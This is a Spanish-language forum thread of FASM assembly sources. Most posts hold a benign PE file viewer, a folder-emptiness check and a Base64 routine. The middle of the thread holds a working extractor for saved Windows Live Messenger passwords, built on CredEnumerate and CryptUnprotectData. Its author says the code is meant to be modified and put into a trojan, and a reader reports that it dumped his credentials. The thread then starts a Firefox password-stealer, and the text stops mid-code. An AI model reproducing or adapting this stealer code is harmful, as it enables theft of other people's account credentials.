,"Cantidad de funciones exportadas: " invoke printf,"%d",[NumberOfNames] invoke printf,Espacio invoke printf,Espacio invoke printf,"Funciones exportadas: " invoke printf,Espacio mov edi, [AddressOfNames] add edi,[LibHandle] .bucle: dec ebx mov eax, [edi + ebx * 4] add eax,[LibHandle] invoke printf,"-%s",eax invoke printf,Espacio cmp ebx,0 jne .bucle pop ecx edi edx ebx ret .Error: ret endp proc ListarImport,FHandle push eax ebx edi mov ebx,[FHandle] add ebx,dword[ebx+03ch] mov ebx,dword[ebx+80h] add ebx,[FHandle] xor edi,edi .bucle: mov eax,dword[ebx+0ch] add eax,[FHandle] .if eax = [FHandle] invoke printf,"Cantidad de librerias importadas: %d",edi invoke printf,Espacio ret .else inc edi invoke printf,"%s",eax invoke printf,Espacio .endif add ebx,14h jmp .bucle pop edi ebx eax ret endp .end start
Título: Re: Pequeño visor PE
Publicado por: YST en 6 Abril 2009, 18:22 pm
Actualizado ;D
Ahora estoy haciendo para que ponga las funciones importadas , si alguien tiene alguna idea que se le puede agregar la puede decir.
Título: Re: Pequeño visor PE
Publicado por: Amerikano|Cls en 6 Abril 2009, 18:53 pm
Muy bueno lo que andas haciendo con este asm, sigue así :)
Título: Re: Pequeño visor PE
Publicado por: YST en 6 Abril 2009, 19:56 pm
Muy bueno lo que andas haciendo con este asm, sigue así :)
Muchas gracias :D , en unos minutos pasare el code en limpio.
Título: Re: Pequeño visor PE
Publicado por: YST en 6 Abril 2009, 23:07 pm
Ordenando el codigo de a poco. format pe console include 'win32ax.inc' .data Espacio equ 13,10,0 ;Para pasar a una nueva linea. RutaArchivo rb MAX_PATH ;Variable para guardar la ruta de el archivo PunteroPEheader dd ? ; Puntero de el Pe header Logo db ' ===================================',13,10 ; LOGO PRINCIPAL db ' = PE visor by YST =',13,10 db ' ===================================',13,10,0 LogoGeneral db ' ===================================',13,10 ; LOGO GENERAL db ' = General =',13,10 db ' ===================================',13,10,0 LogoSecciones db ' ===================================',13,10 db ' = Secciones =',13,10 ;LOGO DE INFO DE LAS SECCIONES db ' ===================================',13,10,0 LogoExport db ' ===================================',13,10 db ' = Export data =',13,10 ;LOGO DE INFO DE el Export data db ' ===================================',13,10,0 FHandle dd ? ; MZ de el archivo .code start: invoke system,"color 3" ;Ponemos el color de texto invoke printf,Logo ;Imprimimos el logo invoke printf,Espacio ;Ponemos dos nuevas lineas. invoke printf,Espacio invoke printf,"Inserte la ruta de el archivo a examinar:" ; Preguntamos el archivo invoke printf,Espacio invoke scanf,"%s",RutaArchivo ;Obtenemos la ruta de el archivo invoke LoadLibrary,RutaArchivo ;Cargamos el archivo .if eax = 0 ; Si hay error invoke printf,"Hubo un error al cargar el archivo." ;Mostramos el error . invoke ExitProcess,0 ; Nos salimos. .else ; De lo contrario .if word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ mov [FHandle],eax ; Guardamos el MZ en FHandle .else ; De lo contrario invoke printf,"Ingrese un archivo valido." ;Mostramos el error . invoke ExitProcess,0 ; Nos salimos. .endif ; Terminamos los if .endif add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header .if word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE mov [PunteroPEheader],eax ; Guardamos el puntero de el PE header en PunteroPEheader .else ; De lo contrario invoke printf,"No se a detectado PE header." ;Mostramos el error . invoke ExitProcess,0 ; Nos salimos. .endif ; Terminamos los if .endif invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. mov ebx,[FHandle] mov ebx,dword[ebx+03ch] invoke printf,"La posicion de el PE header es : 0x%x" ,ebx ;Mostramos la direccion de el PE header invoke printf,Espacio ; Pasamos a la siguiente linea. add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"Subsystem: " ;Imprimimos el Subsystem .if dword[ebx+5Ch] = 2h ;SI es GUI invoke printf,"Windows GUI" ; Imprimimos Windows GUI .else ; De lo contrario es CUI (Consola) invoke printf,"Windows CUI" ; Imprimimos Windows CUI .endif ;Terminamos el if invoke printf,Espacio ; Pasamos a la siguiente linea. stdcall EOFExtraDataExtract,[FHandle] invoke printf,"Posicion de el EOF: 0x%x",eax ;Imprimimos la posicion de el EOF invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. mov esi,[PunteroPEheader] ;Movemos el puntero de el PE Header a esi. movzx ebx,word[esi+06h] ; Guardamos la cantidad de secciones en ebx. invoke printf,"Numero de secciones: %d",ebx ;Imprimimos la cantidad de secciones. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. .bucleImprimeSecciones: ; Bucle que imprime secciones dec ebx ;Les restamos uno a ebx mov eax,28h ;Hacemos que eax sea igual a $28 mul ebx ;Multiplicamos ebx add eax,0xf8 ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE ) add eax,esi ;Le agregamos al resultado de la multiplicacion el puntero de el PE header mov edi,eax ;Guardamos eax en edi invoke printf,"Name: %s",edi ;Imprimimos el nombre de la sección. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"virtual address: 0x%x",dword[edi+0ch] ;Imprimimos el virtual address invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"VirtualSize: 0x%x",dword[edi+08h] ;Imprimimos el VirtualSize invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ; Imprimimos el SizeOfRawData invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"pointerToRawData : 0x%x",dword[edi+14h] ;Imprimimos el pointerToRawData invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,Espacio ; Pasamos a la siguiente linea cmp ebx,0 jne .bucleImprimeSecciones ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones . invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,LogoExport ;Imprimimos el logo de la informacion de el export data. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. .if dword[esi+078h] = 0 ; Si no hay export data invoke printf,"No se exporta ninguna funcion." invoke printf,Espacio ; Pasamos a la siguiente linea. .else mov ebx,dword[esi+078h] add ebx,[FHandle] invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h] ;Imprimimo la cantidad de funciones exportadas. invoke printf,Espacio ; Pasamos a la siguiente linea. + mov edi,dword[ebx+20h] ;AddressOfNames add edi,[FHandle] mov ebx,dword[ebx+18h] ;Numero de exports invoke printf,"Funciones exportadas: " invoke printf,Espacio .bucleExportData: ;Bucle para imprimir la export data dec ebx mov eax, [edi + ebx * 4] add eax,[FHandle] invoke printf,"-%s",eax invoke printf,Espacio cmp ebx,0 jne .bucleExportData ;Si no se an imprimido todas seguimos .endif invoke system,"pause" invoke ExitProcess,0 proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF push esi ebx mov eax,[FHandle] mov esi,dword[eax+03ch] ;Offset to start of PE header add esi,eax movzx ebx, word[esi+06h] ;Number Of Sections dec ebx mov eax,28h mul ebx add esi,0xf8 ;START OF SECTION TABLE add esi,eax mov eax,dword[esi+10h] ;SizeOfRawData add eax,dword[esi+14h] ;pointerToRawData pop ebx esi ret endp .end start section '.reloc' fixups data discardable
Título: Re: Pequeño visor PE
Publicado por: YST en 22 Abril 2009, 07:01 am
Se actualiza el visor pe , ahora listando el import data ;) format pe console include 'win32ax.inc' .data Espacio equ 13,10,0 ;Para pasar a una nueva linea. RutaArchivo rb MAX_PATH ;Variable para guardar la ruta de el archivo PunteroPEheader dd ? ; Puntero de el Pe header Logo db ' ===================================',13,10 ; LOGO PRINCIPAL db ' = PE visor by YST =',13,10 db ' ===================================',13,10,0 LogoGeneral db ' ===================================',13,10 ; LOGO GENERAL db ' = General =',13,10 db ' ===================================',13,10,0 LogoSecciones db ' ===================================',13,10 db ' = Secciones =',13,10 ;LOGO DE INFO DE LAS SECCIONES db ' ===================================',13,10,0 LogoExport db ' ===================================',13,10 db ' = Export data =',13,10 ;LOGO DE INFO DE el Export data db ' ===================================',13,10,0 LogoImport db ' ===================================',13,10 db ' = Import data =',13,10 ;LOGO DE INFO DE el import data db ' ===================================',13,10,0 FHandle dd ? ; MZ de el archivo .code start: invoke system,"color 3" ;Ponemos el color de texto invoke printf,Logo ;Imprimimos el logo invoke printf,Espacio ;Ponemos dos nuevas lineas. invoke printf,Espacio invoke printf,"Inserte la ruta de el archivo a examinar:" ; Preguntamos el archivo invoke printf,Espacio invoke scanf,"%s",RutaArchivo ;Obtenemos la ruta de el archivo invoke LoadLibrary,RutaArchivo ;Cargamos el archivo .if eax = 0 ; Si hay error invoke printf,"Hubo un error al cargar el archivo:" ;Mostramos el error . invoke printf,RutaArchivo invoke ExitProcess,0 ; Nos salimos. .else ; De lo contrario .if word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ mov [FHandle],eax ; Guardamos el MZ en FHandle .else ; De lo contrario invoke printf,"Ingrese un archivo valido." ;Mostramos el error . invoke ExitProcess,0 ; Nos salimos. .endif ; Terminamos los if .endif add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header .if word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE mov [PunteroPEheader],eax ; Guardamos el puntero de el PE header en PunteroPEheader .else ; De lo contrario invoke printf,"No se a detectado PE header." ;Mostramos el error . invoke ExitProcess,0 ; Nos salimos. .endif ; Terminamos los if .endif invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. mov ebx,[FHandle] mov ebx,dword[ebx+03ch] invoke printf,"La posicion de el PE header es : 0x%x" ,ebx ;Mostramos la direccion de el PE header invoke printf,Espacio ; Pasamos a la siguiente linea. add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"Subsystem: " ;Imprimimos el Subsystem .if dword[ebx+5Ch] = 2h ;SI es GUI invoke printf,"Windows GUI" ; Imprimimos Windows GUI .else ; De lo contrario es CUI (Consola) invoke printf,"Windows CUI" ; Imprimimos Windows CUI .endif ;Terminamos el if invoke printf,Espacio ; Pasamos a la siguiente linea. stdcall EOFExtraDataExtract,[FHandle] invoke printf,"Posicion de el EOF: 0x%x",eax ;Imprimimos la posicion de el EOF invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. mov esi,[PunteroPEheader] ;Movemos el puntero de el PE Header a esi. movzx ebx,word[esi+06h] ; Guardamos la cantidad de secciones en ebx. invoke printf,"Numero de secciones: %d",ebx ;Imprimimos la cantidad de secciones. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. .bucleImprimeSecciones: ; Bucle que imprime secciones dec ebx ;Les restamos uno a ebx mov eax,28h ;Hacemos que eax sea igual a $28 mul ebx ;Multiplicamos ebx add eax,0xf8 ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE ) add eax,esi ;Le agregamos al resultado de la multiplicacion el puntero de el PE header mov edi,eax ;Guardamos eax en edi invoke printf,"Name: %s",edi ;Imprimimos el nombre de la sección. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"virtual address: 0x%x",dword[edi+0ch] ;Imprimimos el virtual address invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"VirtualSize: 0x%x",dword[edi+08h] ;Imprimimos el VirtualSize invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ; Imprimimos el SizeOfRawData invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"pointerToRawData : 0x%x",dword[edi+14h] ;Imprimimos el pointerToRawData invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,Espacio ; Pasamos a la siguiente linea cmp ebx,0 jne .bucleImprimeSecciones ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones . invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,LogoExport ;Imprimimos el logo de la informacion de el export data. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. .if dword[esi+078h] = 0 ; Si no hay export data invoke printf,"[+]No se exporta ninguna funcion." invoke printf,Espacio ; Pasamos a la siguiente linea. .else mov ebx,dword[esi+078h] add ebx,[FHandle] invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h] ;Imprimimo la cantidad de funciones exportadas. invoke printf,Espacio ; Pasamos a la siguiente linea. + mov edi,dword[ebx+20h] ;AddressOfNames add edi,[FHandle] mov ebx,dword[ebx+18h] ;Numero de exports invoke printf,"Funciones exportadas: " invoke printf,Espacio .bucleExportData: ;Bucle para imprimir la export data dec ebx mov eax, [edi + ebx * 4] add eax,[FHandle] invoke printf,"[+]%s",eax invoke printf,Espacio cmp ebx,0 jne .bucleExportData ;Si no se an imprimido todas seguimos .endif invoke printf,LogoImport invoke printf,Espacio invoke printf,Espacio mov eax,[PunteroPEheader] .if dword[eax+80h] = NULL ;Si no importamos ninguna funcion. invoke printf,"[+]No importa ninguna funcion." .else;De lo contrario stdcall Sacaimport,[FHandle] .endif invoke system,"pause" invoke ExitProcess,0 proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF push esi ebx mov eax,[FHandle] mov esi,dword[eax+03ch] ;Offset to start of PE header add esi,eax movzx ebx, word[esi+06h] ;Number Of Sections dec ebx mov eax,28h mul ebx add esi,0xf8 ;START OF SECTION TABLE add esi,eax mov eax,dword[esi+10h] ;SizeOfRawData add eax,dword[esi+14h] ;pointerToRawData pop ebx esi ret endp proc Sacaimport ,handle locals Export dd ? endl pushad mov eax,[handle] mov ebx,dword[eax+03ch] add ebx,eax mov ebx,dword[ebx+80h] add ebx,eax mov [Export],ebx .buclelib: mov ebx,[Export] mov edi,dword[ebx+0ch] cmp edi,0 je .salir add edi,[handle] invoke printf,"- Funciones de %s: ",edi invoke printf,"%s",Espacio xor esi,esi mov esi,dword[ebx] add esi,[handle] mov edi,esi xor ebx,ebx .bucleapi: xor esi,esi mov esi,dword[edi+ebx] cmp esi,0 je .otralib add esi,[handle] add esi,2h invoke printf," [*]%s",esi invoke printf,"%s",Espacio add ebx,04h jmp .bucleapi .otralib: add [Export] ,14h jmp .buclelib .salir: popad ret endp .end start section '.reloc' fixups data discardable
Título: Re: Pequeño visor PE
Publicado por: Amerikano|Cls en 22 Abril 2009, 08:07 am
Muy bueno, si señor, será muy util este code. Gracias por el aporte ;-).
salu2
Título: Re: Pequeño visor PE
Publicado por: YST en 22 Abril 2009, 08:16 am
Muy bueno, si señor, será muy util este code. Gracias por el aporte ;-).
salu2 jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D .
Título: Re: Pequeño visor PE
Publicado por: Amerikano|Cls en 22 Abril 2009, 08:26 am
Muy bueno, si señor, será muy util este code. Gracias por el aporte ;-).
salu2
jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D . Pues adelante, ademas no creo que sea tan dificil ;)
Título: Re: Pequeño visor PE
Publicado por: YST en 22 Abril 2009, 23:15 pm
Muy bueno, si señor, será muy util este code. Gracias por el aporte ;-).
salu2 jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D . Pues adelante, ademas no creo que sea tan dificil ;) Dificil no es , lo que si es es largo :xD.
Título: Re: Pequeño visor PE
Publicado por: Arkangel_0x7C5 en 23 Abril 2009, 01:53 am
buen code, para la proxima que sera? un editor de recurso? jeje ;D
Saludos
Título: Re: Pequeño visor PE
Publicado por: YST en 23 Abril 2009, 04:06 am
buen code, para la proxima que sera? un editor de recurso? jeje ;D
Saludos
Ahora le estoy agregando aparte antes de hacer lo de los logs , algo que liste algunas cosas de el resource. No estaria mal hacer un editor de resource , tal vez lo haga en un tiempo mas , pero ahora me quiero dedicar a un proyecto que en un rato mas voy a publicar para ver si alguien me ayuda.
Título: SRCs de YST.
Publicado por: YST en 23 Abril 2009, 07:10 am
include 'win32ax.inc' .code start: stdcall CapetaVaciaOUnidad,"F:" .if eax = TRUE invoke MessageBox,0,"La carpeta esta vacia",0,0 .else invoke MessageBox,0,"La carpeta no esta vacia",0,0 .endif invoke ExitProcess,0 proc CapetaVaciaOUnidad,ruta locals Find WIN32_FIND_DATA ? HandleBusqueda dd ? Ruta dd ? endl push ebx invoke GlobalAlloc,GPTR,MAX_PATH+1 mov [Ruta],eax stdcall Concat,[ruta],"\*", [Ruta] invoke FindFirstFile,[Ruta] , addr Find mov [HandleBusqueda],eax invoke FindNextFile ,eax, addr Find invoke lstrcpy,[Ruta],addr Find.cFileName mov ebx,[Ruta] .if word[ebx] = ".." invoke FindNextFile, [HandleBusqueda], addr Find .endif invoke lstrcpy,[Ruta],addr Find.cFileName mov ebx,[Ruta] .if word[ebx] = ".." invoke GlobalFree,[Ruta] mov eax,TRUE .else .if dword[ebx] = "RECY" .if dword[ebx+4] = "CLER" invoke GlobalFree,[Ruta] mov eax,TRUE .endif .else invoke GlobalFree,[Ruta] mov eax,FALSE .endif .endif .endif pop ebx ret endp proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest mov esi,[@AdrSrc1] mov edi,[@AdrDest] .concat_src1: movsb cmp byte[esi],0 jne .concat_src1 mov esi,[@AdrSrc2] .concat_src2: movsb cmp byte[esi],0 jne .concat_src2 movsb ret endp .end start
Título: Re: Saber si una carpeta esta vacia [ASM].
Publicado por: Karcrack en 23 Abril 2009, 15:32 pm
Private Declare Function PathIsDirectoryEmpty Lib "shlwapi.dll" Alias "PathIsDirectoryEmptyA" (ByVal pszPath As String) As Long
Ya existe una API que hace eso :P
Título: Re: Saber si una carpeta esta vacia [ASM].
Publicado por: YST en 23 Abril 2009, 18:56 pm
Ahora que veo el post de el source que traduci , Leandro puse esa api :xD :xD :xD :xD , nunca hay que traducir un codigo a las 2:30 am por lo visto :xD.
Edit:
Ahora mi source supera a la api ::) ya que en unidades exxtraibles ( probado en XP ) , aunque esta estubiera vacia la api me la detectaba como que no lo estaba , al igual que mi primer source ;D
Título: Re: Saber si una carpeta esta vacia [ASM].
Publicado por: Karcrack en 23 Abril 2009, 21:24 pm
Esto no comprueba si una Unidad esta vacia, solo lo hace con Carpetas :P
Título: SRCs de YST.
Publicado por: YST en 30 Abril 2009, 00:50 am
Espacio equ 13,10 format pe console include 'win32ax.inc' entry start .data Logo db ' =====================================================',13,10 db ' = Humilde Visor de claves de el msn 0.1v by YST =',13,10 db ' =====================================================',13,10,0 lCount dd ? lCred dd ? struct DATA_BLOB cbData dd ? pbData dd ? ends tBlobOut DATA_BLOB tBlobIn DATA_BLOB lmem dd ? acento rb 3 .code start: invoke system,"color 03" invoke printf,Logo invoke printf,Espacio invoke printf,Espacio invoke CredEnumerate,"WindowsLive:name=*", 0, lCount,lCred .if [lCount] = 0 invoke printf,"%s","Ninguna cuenta encontrada." jmp salir .else mov ebx, [lCred] .bucle: dec [lCount] mov eax, dword[ebx] mov edi,dword[eax+8] mov edx,dword[eax+24] mov esi,dword[eax+28] mov [tBlobIn.cbData],edx mov [tBlobIn.pbData] ,esi invoke CryptUnprotectData,tBlobIn, $0, $0, $0, $0, $1, tBlobOut .if [tBlobIn.cbData] = 0 mov eax, dword[ebx] mov eax,dword[eax+48] invoke printf,"Mail: %s",eax invoke printf,Espacio invoke printf,Espacio .else invoke LocalAlloc,GPTR,[tBlobIn.cbData]; mov [lmem],eax stdcall UniToAscii ,[lmem], [tBlobIn.pbData] invoke printf,"%s","Mail: " mov eax, dword[ebx] mov eax,dword[eax+48] invoke printf,"%s",eax invoke printf,Espacio invoke CharToOem,"ñ",acento invoke printf,"Contrase" invoke printf ,"%s",acento invoke printf, "a: %s",[lmem] invoke printf,Espacio invoke printf,Espacio invoke LocalFree,[lmem] .endif .if [lCount] = 0 .else add ebx,4 jmp .bucle .endif .endif salir: invoke ExitProcess,0 proc UniToAscii, ascii, unicode push esi push edi mov esi, [unicode] mov edi, [ascii] .count: .if byte[esi] <> 0 movsb jmp .count .endif inc esi .if byte[esi] = 0 jmp .exit .endif jmp .count .exit: mov eax, edi add eax, 2 pop edi pop esi ret endp section '.idata' import data readable writeable library kernel32,'kernel32.dll',crypt32,"crypt32.dll",user32,'user32.dll',advapi32,'advapi32.dll',msvcrt,'msvcrt.dll' include 'api/kernel32.inc' import crypt32,CryptUnprotectData,"CryptUnprotectData" import advapi32,\ CredEnumerate,'CredEnumerateA' include 'api/user32.inc' import msvcrt,printf,"printf",system,"system" section '.reloc' fixups data discardable
Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: Arkangel_0x7C5 en 30 Abril 2009, 03:18 am
menos mal que la mayoría no entienden asm
Saludos y buen code
Título: [SRC][ASM] Base64
Publicado por: YST en 30 Abril 2009, 03:55 am
Hola , tengo un source que cifra y descifra en base64 yo no soy el autor y no se quien es ni la fuente , pero yo siempre eh creido que si uno tiene algo que le puede servir a alguien mas es mejor publicarlo que no publicarlo por falta de fuente y autor . include 'win32ax.inc' .data base64table db 43 dup (255) db 62,255,255,255,63,52,53,54,55,56,57,58,59,60,61,255 db 255,255,0,255,255,255,0,1,2,3,4,5,6,7,8,9,10,11,12,13 db 14,15,16,17,18,19,20,21,22,23,24,25,255,255,255,255 db 255,255,26,27,28,29,30,31,32,33,34,35,36,37,38 db 39,40,41,42,43,44,45,46,47,48,49,50,51 db 132 dup (255) alphabet db "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" clave rb 255 descifrada rb 255 .code start: invoke lstrlen,"WHKEsGay :O" stdcall base64encode,"WHKEsGay :O",clave,eax invoke MessageBox,0,clave,clave,0 invoke lstrlen,clave stdcall base64decode,clave,descifrada,eax invoke MessageBox,0,descifrada,descifrada,0 invoke ExitProcess,0 proc base64encode source, destination, sourcelen push edi push esi push ebx mov esi, [source] mov edi, [destination] @@base64loop: .if [sourcelen] = 1 mov al, byte[esi] and eax, 0FFh mov ecx, 2 ;bytes to output = 2 mov edx, 03D3Dh ;padding = 2 byte inc esi ;source ptr + 1 dec [sourcelen] ;length - 1 .elseif [sourcelen] = 2 mov ax, word[esi] and eax, 0FFFFh mov ecx, 3 ;bytes to output = 3 mov edx, 03Dh ;padding = 1 byte add esi, 2 ;source ptr + 2 sub [sourcelen], 2 ;length - 2 .else mov eax, dword [esi] and eax, 0FFFFFFh mov ecx, 4 ;bytes to output = 4 xor edx, edx ;padding = 0 byte add esi, 3 ;source ptr + 3 sub [sourcelen], 3 ;length - 3 .endif xchg al,ah ; flip eax completely rol eax, 16 ; can this be done faster xchg al,ah ; ?? @@: push eax and eax, 0FC000000h ;get the last 6 high bits rol eax, 6 ;rotate them into al mov al, byte[alphabet+eax] ;get encode character stosb ;write to destination pop eax shl eax, 6 ;shift right 6 bits dec ecx jnz @B ;loop cmp [sourcelen], 0 jnz @@base64loop ;main loop mov eax, edx ;add padding and null terminate stosd ; " " " " " pop ebx pop esi pop edi ret endp proc base64decode source:DWORD, destination:DWORD, sourcelen:DWORD push esi push edi push ebx mov esi, [source] ; esi <- source mov edi, [destination] ; edi <- destination mov ecx, [sourcelen] shr ecx, 2 cld ;-------------[decoding part]--------------- @@outer_loop: push ecx mov ecx, 4 xor ebx, ebx lodsd @@inner_loop: push eax and eax, 0ffh mov al, byte[base64table+eax] cmp al, 255 je @@invalid_char shl ebx, 6 or bl, al pop eax shr eax, 8 dec ecx jnz @@inner_loop mov eax, ebx shl eax, 8 xchg ah, al ror eax, 16 xchg ah, al stosd dec edi pop ecx dec ecx jnz @@outer_loop xor eax, eax jmp @@decode_done ;------------------------------------------- @@invalid_char: mov eax, -1 @@decode_done: pop ebx pop edi pop esi ret endp .end start
Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: Darioxhcx en 30 Abril 2009, 06:30 am
menos mal que la mayoría no entienden asm
Saludos y buen code
si uno quisiera hacerlo.. se buscaria un soft como los que hai en una recopilacion y no necesita saber asm :P si me pasas el .exe lo pruebo en 8.1 , nunca use ni 8.5 ni la version 9 lo compilaria yo , pero no tengo fasm ni ningun compilador asm no se asm :P un saludo por cierto.. Humilde Visor de calves claves :P
Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: YST en 30 Abril 2009, 06:37 am
La idea no es que lo uses tal cual esta ,la idea es modificarlo para ponerselo a algún troyano o algo a si . si me pasas el .exe lo pruebo en 8.1 , nunca use ni 8.5 ni la version 9 No , muchas gracias , este deberia andar en todos los live sin problemas. pero no tengo fasm ni ningun compilador asm ASM no tiene compiladores si no ensambladores. Humilde Visor de calves claves Corregido ;)
Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: Erik# en 30 Abril 2009, 10:59 am
Voy a probarlo y te digo, me servira para mi aprendizaje en ASM :). A Ensamblaaar!
EDIT: Buenisimo, me ha sacado las dos claves que tenia guardadas.. ;)
Título: SRCs de YST.
Publicado por: YST en 1 Mayo 2009, 09:48 am
Despues de un dia entero trbaajando en el source para traducirlo lo logre , el codigo lo engo que optimisar todavia ya que tiene muchas partes inecesarias. format pe console entry start include 'win32ax.inc' sPath equ dword[ebx+4] Espacio equ 13,10 .data struct TSECItem SECItemType dd ? SECItemData dd ? SECItemLen dd ? ends url dd ? valor dd ? lvLibs0 dd ? Logo db ' =====================================================',13,10 db ' = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10 db ' =====================================================',13,10,0 URL dd ? Campo dd ? tsec TSECItem tSecDec TSECItem lvLibs7 dd ? lKeySlot dd ? P dd ? bUsados dd ? hFile dd ? tamAr dd ? IB dd ? sFFPath rb MAX_PATH+1 sRet rb 260 sRet2 rb 260 comp dd ? .code start: invoke system,"color 03" invoke printf,"%s",Logo invoke SHGetSpecialFolderLocation,0,26h,ebx invoke LocalAlloc,40h,MAX_PATH+1 mov dword[ebx+4] ,eax invoke SHGetPathFromIDList,dword[ebx],sPath invoke lstrcat,sPath,"\Mozilla Firefox\" stdcall Cargar,dword[ebx+4],"mozcrt19.dll" stdcall Cargar,dword[ebx+4],"sqlite3.dll" stdcall 